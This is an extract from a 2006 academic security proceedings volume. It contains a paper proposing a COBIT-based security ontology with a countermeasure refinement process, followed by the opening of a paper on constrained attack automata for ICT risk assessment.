References [1] M. Backes, B. Pﬁtzmann, and M. Waidner. A composable cryptographic library with nested operations (extended abstract). In Proceedings of 10th ACM Conference on Computer and Communications Security (CCS), pages 220–230. ACM Press and Addison Wesley, 2003. [2] G. Bella and S. Bistarelli. Soft constraint programming to analysing security protocols. Journal of Theory and Practice of Logic Programming, 4(5):1–28, 2004. [3] G. Bella, S. Bistarelli, and F. Massacci. A protocol’s life after attacks. In Proc. of the 11th Security Protocols Workshop (SPW’03), LNCS 3364, pages 3–18. Springer-Verlag, 2005. [4] M. Bellare and P. Rogaway. Provably Secure Session Key Distribution — the Three Party Case. In Proceedings of the 27th ACM SIGACT Symposium on Theory of Computing (STOC’95), pages 57–66. ACM Press and Addison Wesley, 1995. [5] L. Carlucci Aiello and F. Massacci. Verifying security protocols as planning in logic programming. ACM Transactions on Computational Logic, 2(4):542–580, 2001. [6] E. M. Clarke, S. Jha, and W. Marrero. Verifying security protocols with brutus. ACM Trans. Softw. Eng. Methodol., 9(4):443–487, 2000. [7] D. Dolev and A. Yao. On the security of public-key protocols. IEEE Transactions on Information Theory, 2(29), 1983. [8] R. Fagin, J. Y. Halpern, Y. Moses, and M. Y. Vardi. Reasoning about Knowledge. The MIT Press, 1995. [9] R. Kemmerer, C. Meadows, and J. Millen. Three system for cryptographic protocol analysis. Journal of Cryptology, 7(2):79–130, 1994. [10] G. Lowe. An Attack on the Needham-Schroeder Public-Key Authentication Protocol. Information Processing Letters, 56(3):131–133, 1995. [11] J. Mitchell, M. Mitchell, and U. Stern. Automated analysis of cryptographic protocols using Murphi. In Proceedings of the 16th IEEE Symposium on Security and Privacy, pages 141– 151. IEEE Computer Society Press, 1997. [12] R. M. Needham and M. D. Schroeder. Using encryption for authentication in large networks of computers. Communications of the ACM, 21(12):993–999, 1978. [13] L. C. Paulson. The inductive approach to verifying cryptographic protocols. Journal of Computer Security, 6:85–128, 1998. [14] F. R. and R. Gorrieri. The compositional security checker: A tool for the veriﬁcation of information ﬂow security properties. IEEE Transactions on Software Engineering, 23(9):550–571, 1997. [15] S. Schneider. Security properties and CSP. In Proceedings of the 15th IEEE Symposium on Security and Privacy, pages 174–187. IEEE Computer Society Press, 1996. [16] D. Song. Athena: An automatic checker for security protocol analysis. In Proceedings of the 12th IEEE Computer Security Foundations Workshop. IEEE Computer Society Press, 1999. [17] F. Thayer Fabrega, J. Herzog, and J. Guttman. Honest ideals on strand spaces. In Proceedings of the 11th IEEE Computer Security Foundations Workshop. IEEE Computer Society Press, 1998.

15

Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.

An Assurance-by-Ontology Paradigm Proposal: Elements of Security Knowledge Management Dimitris GRITZALIS, Bill TSOUMAS Information Security and Critical Infrastructure Protection Research Group Dept. of Informatics, Athens University of Economics and Business 76 Patission Ave., Athens GR-10434, Greece e-mail: {dgrit,bts}@aueb.gr

Abstract. Assurance is a de-facto requirement in modern information systems (IS). The diversity and complexity of emerging IS underlines the lack of a common way of security knowledge representation. In the paper we set the foundations for establishing a knowledge-based, ontology-centric framework with respect to the security management of an IS; we present a knowledge-rich structure, which can model the security requirements of an enterprise IT environment from a variety of information sources, exploiting process-based risk management frameworks which are applied in modern organizations. We define our overall security management framework and implement critical components such as countermeasure refinement. Our approach is represented in a neutral manner and can be used for security knowledge reusability and exchange.

Keywords: Information Assurance, refinement, Risk Assessment, COBIT.

Security

Ontology,

Countermeasure

Introduction The effective management of information and related information systems (IS) of an organization is a very important issue, nowadays. However, the radical changes in IS emphasize the need to better manage information and IS-related risks. Thus, risk management forms a key part of enterprise management and enterprise governance. Being a part of enterprise governance, the implementation of IT Governance [1] is becoming more and more essential. In order to achieve the required support for fulfilling the business objectives, modern organizations require a robust and secure technical infrastructure and introduce new security requirements. Thus, there is a need for the identification and im-

16

D. Gritzalis and B. Tsoumas / An Assurance-by-Ontology Paradigm Proposal

plementation of robust security controls to ensure that information resources are protected against potential threats. There is a set of informal security and risk-related requirements, which eventually have to be transformed and deployed into well-defined technical controls. Traditionally, the requirements of such controls come up as a result of an IS risk assessment (RA) review, given the thorough intervention of a group of security experts. Furthermore, the formulation of a generic security policy, which is linked with, and exploits the RA results, is a usual addition to the RA process. In all cases such a process, either assisted through computerized tools or not, renders the security expert responsible for the following tasks: 1. Modeling the security requirements of the IS 2. Capturing the security control requirements of the IS 3. Translating organizational input to a set of (semi)formal security rules 4. Transforming the security rules into an effective set of security controls 5. Deploying and managing the security controls over the IS 6. Establish a risk management process over the effectiveness and efficiency of the security controls in place (optional) To accomplish the above tasks, security experts usually deal with high-level statements from various sources, such as output of RA tools, policy statements expressed in a managerial level, service level agreements (SLA) statements, etc., combined with IS technical information. This is often an effort-consuming intervention especially for large organizations - which has not yet been properly assisted by automated processes. This paper describes the process for achieving steps 1 to 4 above; the heart of our approach is the establishment of a security ontology (SO) for facilitating the expression of IS security knowledge [2], based on information and risk management frameworks. The rest of the paper is organized as follows: in section 1 we summarize the benefits for defining a Security Ontology; in section 2 we present the enablers of our approach, while in section 3 we present our development methodology and conceptual model of the Security Ontology. In section 4 we define our overall ontology-based security management framework and architecture, and implement critical parts of the approach. Next, we present the related work in the field at section 5, and finally in section 6 we conclude and give ideas for further research.

1. The Need for a Security Ontology Although much work has been done in the field of policy specification and management frameworks, what is still lacking is a common approach providing a bridge between high-level statements and low-level rules and technical controls that can be implemented, deployed and managed in a cost-efficient way. As previously stated, the first step towards this direction is to transform the necessary security knowledge of an organization into a standardized and expressionrich structure; in other words, there is a need to define an IS Security Ontology which is generic, standards-based and can be adapted to the majority of the IS environments. As such, a Security Ontology (SO) is “an ontology that elaborates on the security aspects of a system”. In the sequel, the terms “Security Ontology” and “Ontology” will be used interchangeably, unless explicitly stated otherwise. The goals of defining a Security Ontology are to:

D. Gritzalis and B. Tsoumas / An Assurance-by-Ontology Paradigm Proposal

17

a) Formulate the most important security concepts of the IS according to organization needs; b) Realize the relationships among the aforementioned concepts within an organization; c) Provide axioms (i.e. precise definitions) for specifying relationships between security concepts, and, therefore, formulation of semantic queries on the underlying knowledge. In addition, the axioms provide a means for reasoning, by deriving information that has been declared only in an implicit way; d) Provide a common vocabulary for information security between and among involved parties (e.g. stakeholders, organizational users, security experts); e) Contribute to the reduction of ambiguity concerning the interpretation of highlevel statements such as Risk Assessment outputs, Security Policies and Service Level Agreements; f) Facilitate the expression of organizational security needs as an input to a formal security policy/management/RBAC language such as Ponder [3], Tower [4], XACML [5], other CIM Policy Model-compliant languages [6], etc. g) Enhance the way of enforcing [3], evaluating and auditing the security level of organizational information security systems; h) Establish a common framework for security information exchange between involved parties; i) Facilitate the organizational risk management process throughout the security reassessments performed in a timely manner. Since the adoption of new and/or updated security measures tends to be a very time-consuming procedure – especially in large organizations – our approach would help towards the establishment of an efficient and effective framework for the enforcement of the aforementioned measures. Well-known standards such as TCSEC, ITSEC have been used in the past from different perspectives in order to provide a common framework on security. It is our view that these standards could no longer be used as a basis for specifying a security ontology because [2]: • They appeared in the late ‘60s and concluded in the late ‘70s. As a result they are suitable for centralized systems and do not take into adequate account issues raised from the explosion of networking and the WWW. • They do not take into account security management aspects such as incident reporting, accounting, etc. Having decided to define a standards-based SO, at the sequel we will built a Security Ontology using COBIT [1] as a basis, which is an emerging risk management standard and can be applied in a variety of information-intensive organizations. In the next sections we describe the enablers of our approach.

2. BACKGROUND 2.1. Common Information Model The common information model (CIM) [6] is a conceptual information model, developed by Distributed Management Task Force (DMTF). CIM is a hierarchical, objectoriented architecture, which does not require any particular instrumentation or

18

D. Gritzalis and B. Tsoumas / An Assurance-by-Ontology Paradigm Proposal

repository format, attempting to unify and extend the existing instrumentation and management standards (SNMP, DMI, CMIP, etc.) using object-oriented constructs and design. The CIM meta-model is depicted in Figure 1. The CIM Schema supplies a set of classes with properties and associations that provide a well-understood conceptual framework, within which it is possible to organize the available information about the managed environment. The CIM Schema is the combination of the Core and Common Models; extensions of the latter are represented by Extension Models.

Figure 1. CIM meta-model

2.2. COBIT The Control Objectives for Information and related Technology (COBIT) [1] is a reference framework that helps to meet the multiple needs of management by bridging the gaps between business risks, control needs and technical issues. It is a processbased framework for information systems control objectives and related best practices that support the efficient application of IT Governance. COBIT provides a set of 34 high-level control objectives, one for each of the IT processes, representing the equivalent processes of an IS lifecycle grouped into four domains: a) Planning and Organization (PO), b) Acquisition and Implementation (AI), c) Delivery and Support (DS), and d) Monitoring (M), covering all aspects of information and the supporting technologies. The basic framework components (IT processes, information criteria and resources) represent the COBIT conceptual framework in Figure 2.

D. Gritzalis and B. Tsoumas / An Assurance-by-Ontology Paradigm Proposal

19

In this paper, we concentrate on the security-related Process PO9 (Assess Risks), in order to model the security requirements resulting from a RA exercise in a COBITaware environment.

Figure 2. COBIT Framework

2.3. Ontologies Gruber defines [7] an ontology as “an explicit specification of a conceptualization”. Ontologies are discussed in the literature as means to support knowledge sharing and reuse [8]. This reusability approach is based on the assumption that if a modeling scheme - i.e. ontology - is explicitly specified and mutually agreed by the parties involved, then it is possible to share, reuse and extend knowledge. It is expected that there will be not a single, common ontology for all domains of human activity. Ontologies can be used to describe structurally heterogeneous information sources of different levels of abstraction, such as those found on security policy documents and RA outputs, helping both people and machines to communicate in a concise manner based not only on the syntax of security requirements, but on their semantics as well.

3. The Proposed Security Ontology 3.1. Methodology of Work While there is no standard method for ontology development [9], we followed the collaborative approach for ontology design described in [10]. The idea is to build an ontology by a group of people and in an iterative way, with an eye towards improving the ontology in every round. During design, the COBIT concepts and their relationships, as well as widely accepted security standards and the design criteria in [7] were taken into account. SO development is achieved through the following steps:

20

1. 2. 3. 4.

5.

6.

7.

8.

D. Gritzalis and B. Tsoumas / An Assurance-by-Ontology Paradigm Proposal

Consideration of ontology design criteria [7] as a framework for the development process; Identification of security-related concepts from COBIT PO9 process (Assess Risks); Definition of security vocabulary; this step provides a common vocabulary which will be used for the SO definition; Development of concept-centric partial ontologies; in order to facilitate understanding, we developed partial ontologies, which include a central security concept and relations with its direct neighbors so as to be able to approach the IS security concepts from different views and perspectives. The inter-dependencies between the SO concepts are based in the outcome from step 2 and relationships identified during COBIT review (the IT Resources-centric partial ontology is depicted in Figure 3); Integration of the partial ontologies in a SO prototype; we integrate each partial ontology perspective into a wider ontology and extend the model with additional attributes and rules, if any; Refinement of vocabulary and normalization of the SO prototype; we revise the vocabulary and adjust accordingly concept attributes and relationships in order to avoid redundancies; Evaluation and feedback; the integrated model representing the SO is evaluated qualitatively through discussion and interaction among the participating individuals; If the developed SO is not satisfactory, then the process is repeated from step 2.

Figure 3. IT Resources-centric partial ontology

D. Gritzalis and B. Tsoumas / An Assurance-by-Ontology Paradigm Proposal

21

3.2. Conceptual Model Security Ontology permits to capture the security requirements of an arbitrary IS which stem from RA activities (PO9). The metamodel is described in an UML-like manner, therefore providing for generalizations, associations and aggregation relationships. Only the core security concepts and their relationships are depicted in this paper, in order to keep the definition of the SO relatively simple. The SO is formulated as a CIM extension schema enriched with ontological semantics, modeling the security management information; in addition, it is linked with the legacy CIM concepts in order to access the already modeled information for the IS resources. Thus, SO acts as a knowledge container for the IS security requirements. All concepts that are not inherited explicitly from some other concept are assumed that they inherit from the ubiquitous root of the CIM ontology (i.e. CIM_ManagedElement concept). Legacy CIM-derived concepts are named with the prefix “CIM_”, to differentiate from these belonging to SO. Relationships include associations, refinements, and aggregations. Constraints are defined as special relationships between model concepts, providing for rules to be satisfied over the relationship. Every concept has attributes that include comprehensive security information in various levels of abstraction. The metamodel of this generic SO is depicted in Figure 4.

Risk Action Plan

IT Governance

CIM_ManagedElement

Assess Risks Process -measure

Safeguard Threat -probability -frequency

Trigger 1

Information

Business Objective

*

SO_ManagedElement

IT Resource Vulnerability

Risk Assessment

Risk -factor Control -degree

Business Risk Assessment Doc

Policy

Operating Risk Assessment Doc

Risk Assessment Procedure

IT Risk Assessment Doc

Risk Assessment Document -type

satisfies Information Criteria

Security Requirements -type

Planning& Organisation

Audit Guideline

Confidentiality Integrity Availability

Figure 4. COBIT PO9-Assess Risks Ontology

Detailed Control Objective

Domain: Planning & Organization Process: PO9: Assess Risks

22

D. Gritzalis and B. Tsoumas / An Assurance-by-Ontology Paradigm Proposal

The central point of the SO is the concept of Access Risks Process, which is inherited from the ultimate COBIT concept, IT Governance; the latter is inherited from (legacy) CIM_ManagedElement (upright corner) and acts as the root of the COBIT risk management structure. Complementary to these concepts, we also define the concepts: a) Business Objective, which is the driving force of actions, b) the Detailed Control Objective, which supports the Business Objectives and is linked with Audit Guidelines, c) the IT Resource, which supports the realization of IT processes, and is subject to Controls, d) Risk Assessment Procedure, which identifies the Risks and defines/tests the relevant Controls, e) Information Criteria, which are linked with IT Resources and are ancestors of Security Requirements (Confidentiality, Integrity, Availability), etc. Moreover, a special concept, SO_ManagedElement is defined which is a concentrator of security-related attributes for the relevant CIM_ManagedElement (dashed relationship between IT Resource and CIM_ManagedElement, since CIM objects are descendants of the CIM root). The aforesaid concept is linked in runtime with the relevant CIM concepts in order to be specialized during instantiation representing real-world resources, therefore allowing for: a) customization upon instantiation, and b) accessing the already modeled information for the IS resources.

4. Elements of an Ontology-based Security Framework We built on the ontology-based security framework depicted in Figure 5. An extensive framework discussion is beyond the scope of this paper, but the interested reader is referred to [11]; nevertheless, a brief description is given (the numbers at the figure denote the sequence of steps). The ontology can be populated with security information from two main sources, namely: a) network-level data referring to the IS infrastructure such as operating system, IP address, services etc, b) high-level control statements from RA documents, describing the control requirements. Information in (a) is used to dynamically create concept instances using network tools like Nmap [12](STEP 1), while (b) is analyzed through information extraction (IE) frameworks and tools like GATE [13] and JAPE [14], in order to populate critical elements of the concepts such as the controls for (Threat_N, Controls_N[]) structure embodied in every IT Resource (STEP 2). As a complement, managerial decisions which can affect the security settings is taken into account (e.g. “salesmen with wireless laptops must have access to the ERP system during the weekend”) (STEP 3); finally, ready-to-use controls from a database of security and assurance standards are available, in case that the input is deemed inadequate1 (STEP 4). Between steps 2, 3 and 4 an iterative approach is employed, using the information from every round in order to train the system and produce more accurate results. The output from this process is a set of structured statements which represent the controls’ attributes (refer to Table 1) for every threat of a given IT Resource (STEP 5); at this point, the IS control requirements (“What” part) have been captured; at the same time, a database of Technical Countermeasures (TC DB) which contains the actual implementation of the IS controls in a technical level (or the “How” part) is queried in order to match the security requirements (from the SO) with deployable TC (from the 1

A standards-based, security-best-practices database which is a taxonomy of IT Resource controls.

D. Gritzalis and B. Tsoumas / An Assurance-by-Ontology Paradigm Proposal

23

Database of TC), customized for the IT resource. The TC refinement to Technical Actions which can be deployed through a suitable framework (e.g. Ponder [3] or similar) is performed at Step 6, whereas the actual deployment over the IS be performed in Step 7. Finally, the whole process is employed periodically from Step 1, in order to stay current with IS topology and policy changes.

Figure 5. An Ontology-based Security Management Framework

In the next sections we elaborate on important components of our framework such as the SO implementation and the countermeasure refinement process (Step 6).

24

D. Gritzalis and B. Tsoumas / An Assurance-by-Ontology Paradigm Proposal

4.1. A COBIT-Based Security Ontology for RA We have implemented the SO for COBIT PO9 defined in section 3.2 in OWL [15] using the Protégé OWL plugin [16], partially depicted in Figure 6; we have populated the ontology with axioms and relevant semantic constraints, resulting to 44 SO concepts, with more than 200 properties. As a complement to this ongoing work, we have built ontology semantic queries using the Racer Pro technology [17].

Figure 6. COBIT SO for Process PO9 (Assess Risks)

4.2. Semantics of IT Resource Control Every IT Resource is associated with certain threats, which can be mitigated by a set of controls, depending on the RA output. At this point, we focus on controls’ characteristics that can be obtained from the RA information sources. Our first task is to define the structure of a control - in other words we make a preliminary approach to answer the question “what attributes are necessary in order to define a control?” A control definition includes basic characteristics, which are further depicted in Table 1. The Group/Subgroup attributes follow the CRAMM [18] control taxonomy scheme.

D. Gritzalis and B. Tsoumas / An Assurance-by-Ontology Paradigm Proposal

25

Table 1. Control Definition IT Resource Control Structure Control Identifier

Unique identifier

Target

The IS asset that this control is going to be applied (IP address, operating system, open ports, etc.)

Subject

The entity that is going to apply the control to the Target

Control Group

Categorizes the control in a group

Control Subgroup

Categorizes the control in a subgroup (further)

Action

Action(s) to be taken for the control to be applied

Constraints []

Time, place, and subject constrains

Type

[Managerial | Procedural | Technical]

SecurityAttributes2Preserve

[Confidentiality | Integrity | Availability | Non-Repudiation]

Type Of Control

[Protective | Detective | Corrective]

Risk Mitigation Factor

[High | Medium | Low]

Control Purpose

[Security | Audit]

Our implementation for extracting the control attributes is an IT Resource-based one; during the instantiation of the ontology classes, each identified asset is associated with an instance of the relevant concept (e.g. “Server”); in the sequel, the concept instance is associated with the relevant threats, which populate the Threats-Controls[] array, with each row representing a single threat for the specific IT Resource, along with an array of controls that mitigate the specific threat. This two-dimensional array is shown in Figure 7. At the ontology implementation level, we dynamically create a series of individuals, which are linked with the respective threats during the ontology population phase.

Figure 7: Decomposition of Threats-Controls array for a given IT Resource

26

D. Gritzalis and B. Tsoumas / An Assurance-by-Ontology Paradigm Proposal

4.3. The Refinement of Security Countermeasures Of particular interest is the decomposition of technical countermeasures produced after the security requirements/technical countermeasures matching, into a set of deployable technical actions; these actions have to be executed in order to achieve the riskmitigating result should the initial TC been applied. The idea is to decompose a root TC into distinct technical actions, in such a way that, the execution of leaves has the same effect as the original, root TC. An advantage of building TC effects using lowlevel, technical sequences of atomic actions is the ability to select between different scenarios, in favor of the most economic and feasible one to achieve the goal of the root TC. Within this context, we have implemented a four-layer countermeasure refinement process, focusing to security areas where technical countermeasures can be applied, namely: a) Access Control, b) Network Security, c) Auditing and Vulnerability Management. The proposed process is depicted in Figure 8.

Technical Countermeasure Level 0

OR

………………..

Scenario 1

Scenario Ν

Level 1 AND

Task 1

AND

Task Ν

Task 1

Task Ν

Level 2 AND OR

AND

OR

Technical Action 1

Technical Action 2

Technical Action Ν

Technical Action 1

Technical Action 2

Deployment Platform Interface (e.g. Ponder)

Figure 8. Countermeasure refinement - an overview

Technical Action Ν

Level 3

D. Gritzalis and B. Tsoumas / An Assurance-by-Ontology Paradigm Proposal

27

We used the JESS tool [19] providing for different rules in each distinct refinement layer. The defined layers use their own structures with interlinked countermeasure attributes, in order to provide for the refinement using combinations of AND/OR operators. The four levels are briefly described below: • Technical Countermeasure (Level 0): this is the entry level to the refinement process – the system gets as input the TC that has been identified after the Security Requirements/Technical Countermeasures matching. • Scenarios (Level 1): here the first distinction between equivalent scenarios (alternative ways of achieving the TC result) is performed, resulting to different costs and residual risks. • Tasks (Level 2): technical proposals specific to technology of the IS Resource that the TC is to be applied, which are composed from a series of technical actions. • Technical Actions (Level 3): atomic actions, which are completely bound to the technologies of IS Resource implementations and serve simple purposes; the key factor is the combination of these primitive actions in order to achieve the desired result. An exemplar TC refinement (“Impose highest security settings on web server X”) is depicted in Table 2 with input, processing and output at every layer, respectively. Processing is realized by JESS rules. The steps at each layer are as follows (not all data are shown in this example): • Technical Countermeasure layer: as initial input, we have the TC “Impose highest security settings on web server X”, as well as low-level info such as web server OS, version, ports, services, etc. Applicable scenarios are identified. • Scenarios layer: using the scenarios from previous phase, we choose to go through the Scenario2; the sub-elements of the IT resource are identified - in this case, the web server version and host OS (Apache2 and Windows 2000, respectively). The tasks of the selected scenario are identified and assigned to the sub-elements. • Tasks layer: for each sub-element, a list of Technical Actions is identified according to preferred action from the TC layer. • Technical Actions layer: the actual implementation of all Technical Actions is identified (through static linking with the Tasks) and presented to the user for review.

Table 2. Countermeasure refinement - steps Layer

Technical Countermeasure

Example input

“Impose highest security settings on webserver X”, webserver OS, version, ports, services

Processing – pseudocode

Output

identifyTC_Action(inputTC)

Scenario1: “Put IT Resource in isolated network”,

findApplicableScenarios(inputTC); foreachScenario do evaluateScenario(inputTC, TC_Action);

Scenario2: “Employ strict access rules on IT Resource”; IT Resource OS, version, ports, services

28 Layer

Scenarios

Tasks

D. Gritzalis and B. Tsoumas / An Assurance-by-Ontology Paradigm Proposal Example input

Processing – pseudocode

[Scenario2]: “Employ strict access rules on IT Resource”; “Webserver version: Apache2”;

getElementsOfResource(IT_Resour ce); List of IT Resource sub-elements; List getScenarioTasks(Scenario, of tasks per subelements); element foreach element

“OS: Windows 2000”;

(identifySecurityTasks);

“Apply highest security settings on Windows 2000”;

foreach SecurityTask do

“Apply highest security settings on Apache2”;

Output

findTechActions (TC_Action, IT_ResourceTechnology);

List of Technical Actions for each Task

foreach TechAction do

List of ready-toexecute modules, recommendations, etc;

MS WIN: “Microsoft Windows Workstation service vulnerable to buffer overflow when sent specially crafted network message; Technical Actions

“Microsoft Help and Support Center (HCP) fails to properly validate HCP URLs”; Apache2:

apply(TechAction);

Translation to a suitable rules for deployment (e.g. Ponder)

“Apache HTTP Server on Win32 systems does not securely handle input passed to CGI programs”

5. Related Work Two main directions exist regarding related work: policy specification (with modeling requirements) and (partial) security-related ontologies. There is a research effort on different approaches to policy specification [3]; IETF/DMTF and the network component manufacturers are concentrating on information models [6] and condition-action rules focusing on the management of quality of service (QoS) in networks [20]; all these approaches deal partially with security issues, concentrating in pure technical controls. The security community has developed a number of models with respect to specification of mandatory and discretionary access control policies (such as Clark-Wilson), further evolving into work on role based access control (RBAC) and role based management where a role may be considered as a group of related policies pertaining to a position in an organization [21]. Finally, considerable work within the broader scope of management has already resulted in technologies and architectures that provide the basic infrastructure required to implement policy-based management solutions [22]. Although the need for a security ontology has been recognized by the research community ([2], [23]), only partial attention has been drawn for a common, standardsbased solution. Denker elaborates mainly on access control issues [23], whereas standards discussed include XML Signatures and integration with Security Assertions Markup Language (SAML), an XML-based security standard for exchanging

D. Gritzalis and B. Tsoumas / An Assurance-by-Ontology Paradigm Proposal

29

authentication and authorization information [24]. Furthermore, Kagal, et. al present a policy ontology based on deontic logic, elaborating, among others, on delegation of actions [25]. Finally, Raskin, et al. presented an ontology-driven approach to information security [26]. They argue that a security ontology could organize and systematize all the security phenomena such as computer attacks. Furthermore, the inherent ontology modularity could support the reaction in attacks by relating certain controls with specific attack characteristics, and finally, support attack prediction. The legacy DMTF approach (i.e. the root of our SO), lacks: a) the security management aspect (which we define as an Extension Schema), b) the centralized management of security management information, and c) the domain knowledge perspective, which we incorporate into our model enriching the SO Extension Schema with ontological support. In addition, most of these approaches are related with specific aspects of security and particularly to specific application domains; our approach is generic enough to be applied in every IS, where the COBIT standard is applied. Furthermore, all aforementioned approaches lack the risk management standards support, which we use for modeling the security requirements. 6. Conclusions and Further Research In this paper we set the foundations for establishing a knowledge-based, ontologycentric framework with respect to the security management of an IS; we demonstrated that basic elements of such a framework like an information-rich structure which can model the security requirements of an enterprise IT environment, is achievable. We provided a CIM Extension Schema, which covers a centralized security management of the IS, and furthermore enriched that with ontological support; furthermore, the SO is based on COBIT, which is a process-based risk management framework for modern organizations. In addition, our security ontology is represented in a neutral manner (OWL implementation), and can be used for security knowledge reusability and exchange. We also defined and implemented a countermeasure refinement layered process, which supports the security expert work in selection of applicable countermeasures. Further steps of our work will include the improvement of the security ontology with more attributes, relationships and constraints. The improvement of the technical countermeasures refinement process including careful evaluation of the defined steps is also a priority, focusing to integrate it to the security management process in the future. Additionally, we plan to implement a prototype of the best-practices security database. Acknowledgements The authors wish to thank Natassa Michaelidou for providing useful contribution to the COBIT security ontology design and implementation.

References [1] [2]

COBIT (3rd edition), IT Governance Institute, 2000. Donner M., “Toward a Security Ontology”, in IEEE Security and Privacy, Vol. 1, No 3, pp. 6-7, May 2003.

30 [3] [4]

[5] [6] [7] [8]

[9] [10] [11]

[12] [13]

[14] [15] [16] [17] [18] [19] [20] [21] [22] [23] [24] [25] [26]

D. Gritzalis and B. Tsoumas / An Assurance-by-Ontology Paradigm Proposal Damianou N., et al., “The Ponder Policy Specification Language”, in Proc. of the Workshop on Policies for Distributed Systems and Networks, Springer-Verlag LNCS-1995, 2001, pp. 18-39. Hitchens M., Varadharajan V., "Tower: A Language for Role Based Access Control". In Policy 2001: Workshop on Policies for Distributed Systems and Networks, Springer-Verlag LNCS 1995, UK, 2001, pp. 89-106. XACML Specification (2003), eXtensible Access Control Markup Language, v. 1.1, available at www.oasis-open.org (Mar. 2005). DMTF CIM Policy Model v. 2.9, available at www.dmtf.org/standards/published_documents.php (Jan. 2006). Gruber T., “Toward principles for the design of ontologies used for knowledge sharing”, in Formal Ontology in Conceptual Analysis and Knowledge Representation, Kluwer Academic Publishers, 1993. Decker S., et al., “Ontobroker: Ontology based access to distributed and semi-structured information”, in R. Meersman, et al. (Eds.), DS-8: Semantic Issues in Multimedia Systems. Kluwer Academic Publisher, 1999. Noy N., McGuiness D., Ontology Development 101: A Guide to Creating Your First Ontology, Stanford Knowledge Systems Laboratory Technical Report KSL-01-05, March 2001. Holsapple C., Joshi K. “A collaborative Approach to Ontology Design”, in Com. of the ACM, 45(2):42– 47, 2002. Tsoumas, B., Papagiannakopoulos, P., Dritsas, S., Gritzalis, D.: Security-by-Ontology: A knowledgecentric approach, in Proc. of the 21st IFIP International Information Security Conference, Karlstad, Sweden, May 2006 (to appear). Nmap scanner, available at http://www.insecure.org/nmap (Feb. 2006). Cunningham, H. et al.: GATE: A Framework and Graphical Development Environment for Robust NLP Tools and Applications, in Proc. of the 40th meeting of the Association for Computational Linguistics (ACL'02), USA (2002). Cunningham, H., Maynard, D., Tablan, V.: JAPE: a Java Annotation Patterns Engine, (2nd edition), Dept. of Computer Science, Univ. of Sheffield, United Kingdom (2000). Dean M., et al., OWL Web Ontology Language ReferenceW3C Recommendation, http://www.w3.org/TR/owl-ref/ (Mar. 2005). Protégé Ontology Development Environment, at http://protege.stanford.edu/ Racer Inference Engine, at http://www.racer-systems.com/ United Kingdom Central Computer and Telecommunication Agency (UKCCTA 1996) United Kingdom. CCTA Risk Analysis and Management Method: User Manual, ver. 3. Ernest Friedman-Hill, JESS – The Rule Engine for the Java Platform, Sandia National Laboratories, available at , http://herzberg.ca.sandia.gov/jess/index.shtml (Feb. 2006). Hewlett-Packard, A Primer on Policy-based Network Management, September 1999. ANSI INCITS 359-2004, Information Technology – Role Based Access Control, 2004. Hegering H.-G., Abeck S., Neumair B., Integrated Management of Network Systems: Concepts, Architectures and Their Operational Application, Kaufmann 1999. Denker G., Access Control and Data Integrity for DAML+OIL and DAML-S, SRI International, USA, 2002. OASIS Security Service TC, Security Assertion Markup Language (SAML), //www.oasis-openorg/committees/security/ (Mar. 2005). Kagal L., et al., “A policy language for a pervasive computing environment”. In IEEE 4th International Workshop on Policies for Distributed Systems and Networks, 2003. Raskin V., et al., “Ontology in Information Security: A Useful Theoretical Foundation and Methodological Tool”. In V. Raskin, et al. (Eds.), Proc. of the New Security Paradigms Workshop, ACM, 2001.

II. Tools

This page intentionally left blank

Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.

33

Constrained Automata: a Formal Tool for ICT Risk Assessment F.Baiardi a, F.Martinellib, L.Riccia, C.Telmona Dipartimento di Informatica, Università di Pisa, Italy b Istituto di Informatica e Telecomunicazioni, CNR, Pisa, Italy a

Abstract Conditional security assesses the security of an ICT system in a specifc context. A fundamental step of this assessment determines the threats that can implement an attack against the system. Constrained attack automata are finite state automata to formally conducting this step by decomposing complex attacks into a sequences of elementary attacks. Each state of the automata corresponds to a set of resources controlled by the attacker while a while final states correspond to the success of a sequence of attacks so that one threat has reached one of its goals. Each transition is paired with some constrains on the amount of computational resources, the skills and the knowledge required to implement the elementary attack. To exploit these automata, each threat is modeled in terms of the amount of computational resources, skills and knowledge that it has available and this amount is modelled as a tuple of elements of partially ordered sets. By comparing the amount of resources a threat can access against that required by an attack, we can determine if there is at least one threat that can implement the attack and available countermeasures. We also consider risk mitigation the application of a set of static countermeasures or of dynamic ones. A static countermeasure prevents a threat from exploiting a vulnerability and it is modeled by removing some automata transitions. Lastly, we discuss redundant countermeasures and how constrained attack automata can model dynamic countermeasures, i.e. actions that are executed as the attack is going on to stop the attack itself.

Keywords. Attack, state automata, threats, countermeasure, redundancy

Introduction While a large amount of attention has been paid to formal models for unconditionally security, i.e. the ability of a system or of a component to withstand any attack, less attention has been paid to conditional security, i.e. to evaluate whether a system can withstand the attacks that can occur in a given context only [4-6, 14, 25, 26, 29, 33]. The goal of conditional security is a better return on the investment, roi, because it is focused only on the attacks that may occur in the considered context. From an operational point of view, the evaluation of conditional security corresponds to the risk assessment of the target system TS. This assessment should determine: 1. the vulnerabilities of the target system [1, 2, 15, 17, 22], 2. the attacks enabled by these vulnerabilities, 3. the threats that can implement these attacks in the considered context, 4. the attacks that may occur in the context,

34

F. Baiardi et al. / Constrained Automata: A Formal Tool for ICT Risk Assessment

5. 6.

the impact of attacks, i.e. the losses due to successful attacks, the countermeasures that may be adopted either to prevent the success of an attack or to reduce the impact of successful attacks.

A threat is a source of attacks: physical events such a storm or a flooding, legal or illegal users of the system are a few examples of possible threats that results in distinct attacks to the system. However, in the following we neglect all attacks due to physical events and focus on those implemented by human beings. An important step of the assessment determines the possible threats, together with the resources available to each threat, in the considered context. We use resources in a fairly broad sense ranging from computational resources to skills or information on the system architecture. Step d) of the assessment merges the information about the threats and the attacks to define the attacks that may occur in the context. The last step of the assessment, risk mitigation, chooses a set of countermeasures, i.e. mechanisms and policies, to either prevent some attacks or to minimize their impacts on the target system. To achieve a satisfactory roi, the countermeasures are defined with reference to the attacks returned by step d) only, the only ones that may be successful in the considered context. The matching of threats with the attacks they can implement against TS is one of the focuses of this paper, that introduces constrained attack automata as formal tool to support the matching. A constrained automaton CA(TS, T) is a finite state automaton that models the attacks that can be implemented by the threat T against TS as a sequence of state transitions, each corresponding to a elementary attack. With respect to traditional automata, constrained automata take into account the resources an attack requires, so that a state transition occurs if and only if T can access the resource to implement the corresponding elementary attack. To define CA(TS, T), T is modelled in terms of the goals it is trying to achieve, of the resources it can control as well as of risk aversion, i.e. the attitude of T with respect to possible 